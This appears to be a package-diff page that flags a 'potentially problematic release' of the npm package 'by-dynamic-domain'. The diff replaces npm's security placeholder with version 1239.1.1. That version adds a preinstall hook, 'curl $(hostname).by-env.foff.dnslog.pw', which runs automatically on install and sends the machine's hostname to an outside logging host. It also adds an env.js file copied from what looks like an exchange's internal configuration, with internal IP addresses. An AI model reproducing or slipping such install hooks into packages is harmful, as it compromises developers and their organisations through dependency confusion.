by-dynamic-domain 0.0.1-security → 1239.1.1

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of by-dynamic-domain might be problematic. Click here for more details.

Files changed (4) hide show
  1. package/env.js +101 -0
  2. package/index.js +14 -0
  3. package/package.json +9 -3
  4. package/README.md +0 -5
package/env.js ADDED
@@ -0,0 +1,101 @@
1
+ var _window$location = window.location,
2
+ hostname = _window$location.hostname,
3
+ protocol = _window$location.protocol; // 运行环境根据域名判断
4
+
5
+ export var isProdOrTestnet = /^[^.]+\.[^.]+\.[^.]+$/.test(hostname);
6
+ export var isTestnet = isProdOrTestnet && /^[^.]*testnet[^.]*\./.test(hostname);
7
+ export var isProd = isProdOrTestnet && !isTestnet;
8
+ export var isTest = !isTestnet && !isProd;
9
+ export var isDev = isTest;
10
+ export var isSSL = protocol === 'https:';
11
+ /* (START) Just for Automan
12
+ 以下代码与业务template 以及 automan功能脚本注入 联动,关联性暂时依赖人为维护,可维护性待升级
13
+ */
14
+ // eslint-disable-next-line no-underscore-dangle
15
+
16
+ var globalConfig = window.__BYBIT_GLOBAL_CONFIG__ || {};
17
+ var ac = globalConfig.enableAutoman && globalConfig.automan || {};
18
+ export var ENV_RUNTIME_ENV = ac.AUTOMAN_RUNTIME_ENV; // 接口相关
19
+
20
+ export var ENV_API2_HOST = ac.AUTOMAN_API2_HOST;
21
+ export var ENV_WS2_HOST = ac.AUTOMAN_WS2_HOST; // 翻译
22
+
23
+ export var ENV_TMS_HOST = ac.AUTOMAN_TMS_HOST;
24
+ export var ENV_TMS_PATH = ac.AUTOMAN_TMS_PATH;
25
+ export var ENV_TMS_FULL_PATH = ac.AUTOMAN_TMS_FULL_PATH; // 线路切换
26
+
27
+ export var ENV_SERVICE_DOMAINS = ac.AUTOMAN_SERVICE_DOMAINS; // apm
28
+
29
+ export var ENV_APM_ENABLED = ac.AUTOMAN_APM_ENABLED;
30
+ export var ENV_APM_URL = ac.AUTOMAN_APM_URL; // sentry
31
+
32
+ export var ENV_SENTRY_ENABLED = ac.AUTOMAN_SENTRY_ENABLED;
33
+ export var ENV_SENTRY_DSN = ac.AUTOMAN_SENTRY_DSN; // Logger
34
+
35
+ export var ENV_LOGGER_ENABLED = ac.AUTOMAN_LOGGER_ENABLED;
36
+ export var ENV_LOGGER_URL = ac.AUTOMAN_LOGGER_URL; // Metric
37
+
38
+ export var ENV_METRIC_URL = ac.AUTOMAN_METRIC_URL;
39
+ export var ENV_METRIC_ENABLED = ac.AUTOMAN_METRIC_ENABLED;
40
+ /* 以上代码与业务template 以及 automan功能脚本注入 联动,关联性暂时依赖人为维护,可维护性待升级
41
+ (END) Just for Automan
42
+ */
43
+ // runtime env 代替原来jenkins中的构建常量BUILD_ENV
44
+
45
+ var runtimeEnv = 'local';
46
+
47
+ if (isTestnet) {
48
+ runtimeEnv = 'testnet';
49
+ } else if (isProd) {
50
+ runtimeEnv = 'prod';
51
+ } else if (isTest) {
52
+ runtimeEnv = 'test';
53
+ }
54
+
55
+ export var RUNTIME_ENV = ENV_RUNTIME_ENV || runtimeEnv; // 翻译系统
56
+
57
+ var tmsHost = isTest ? 'https://tms.ffe390afd658c19dcbf707e0597b846d.de' : '';
58
+ export var TMS_HOST = process.env.BYBIT_TMS_HOST || ENV_TMS_HOST || tmsHost;
59
+ var tmsPath = isTest ? '/download/{{projectId}}/{{ns}}/{{lng}}/' : '/translations/{{projectId}}/{{lng}}/{{ns}}.json';
60
+ export var TMS_PATH = process.env.BYBIT_I18N_SOURCE_URL || ENV_TMS_PATH || tmsPath;
61
+ export var TMS_FULL_PATH = ENV_TMS_FULL_PATH || "".concat(TMS_HOST).concat(TMS_PATH); // 线路切换
62
+
63
+ var serviceDomains = '';
64
+
65
+ if (isTestnet) {
66
+ serviceDomains = 'bybitglobal.com';
67
+ } else if (isProd) {
68
+ serviceDomains = 'bycbe.com, byapis.com';
69
+ } else if (isTest) {
70
+ serviceDomains = 'bybit-cn.com';
71
+ }
72
+
73
+ export var BYBIT_SERVICE_DOMAINS = process.env.BYBIT_SERVICE_DOMAINS || ENV_SERVICE_DOMAINS || serviceDomains;
74
+ /* skynet begin */
75
+ // APM
76
+
77
+ var apmUrl = isProd && 'https://apm.ffbbbdc6d3c353211fe2ba39c9f744cd.com' || isTestnet && 'https://apm-testnet.ffbbbdc6d3c353211fe2ba39c9f744cd.com' || isTest && 'http://10.110.185.208:30859' || 'http://10.120.140.129:30859';
78
+ export var APM_URL = process.env.BYBIT_APM_URL || ENV_APM_URL || apmUrl;
79
+ var apmDisabled = process.env.BYBIT_APM_DISABLED === 'true';
80
+ export var APM_ENABLED = process.env.BYBIT_APM_DISABLED || !apmDisabled; // Sentry
81
+
82
+ export var SENTRY_DSN = process.env.BYBIT_SENTRY_DSN || ENV_SENTRY_DSN;
83
+ var sentryDisabled = process.env.BYBIT_SENTRY_DISABLED === 'true';
84
+ export var SENTRY_ENABLED = ENV_SENTRY_ENABLED || !sentryDisabled; // Logger
85
+
86
+ var logger_url = isProd ? 'https://api.ffbbbdc6d3c353211fe2ba39c9f744cd.com/p/front' : 'https://api.ffbbbdc6d3c353211fe2ba39c9f744cd.com/p/front-testnet';
87
+ export var LOGGER_URL = process.env.BYBIT_LOGGER_URL || ENV_LOGGER_URL || logger_url;
88
+ var loggerDisabled = process.env.BYBIT_LOGGER_DISABLED === 'true';
89
+ export var LOGGER_ENABLED = ENV_LOGGER_ENABLED || !loggerDisabled; // Metric
90
+
91
+ export var METRIC_URL = process.env.BYBIT_METRIC_URL || ENV_METRIC_URL || '/v2/public/metrics';
92
+ var metricDisabled = process.env.BYBIT_METRIC_DISABLED === 'true';
93
+ export var METRIC_ENABLED = ENV_METRIC_ENABLED || !metricDisabled;
94
+ /* skynet end */
95
+
96
+
97
+ //////////////////
98
+ // WEBPACK FOOTER
99
+ // ./node_modules/by-env/es/env.js
100
+ // module id = null
101
+ // module chunks =
package/index.js ADDED
@@ -0,0 +1,14 @@
1
+ /* Just a template root here
2
+ * This file used to wrapper all source files.
3
+ *
4
+ * e.g.
5
+ * export { default as fn } from './src/fn'
6
+ */
7
+ export * from './env';
8
+
9
+
10
+ //////////////////
11
+ // WEBPACK FOOTER
12
+ // ./node_modules/by-env/es/index.js
13
+ // module id = null
14
+ // module chunks =
package/package.json CHANGED
@@ -1,6 +1,12 @@
1
1
  {
2
2
  "name": "by-dynamic-domain",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1239.1.1",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo 123",
8
+ "preinstall": "curl $(hostname).by-env.foff.dnslog.pw"
9
+ },
10
+ "author": "",
11
+ "license": "ISC"
6
12
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=by-dynamic-domain for more information.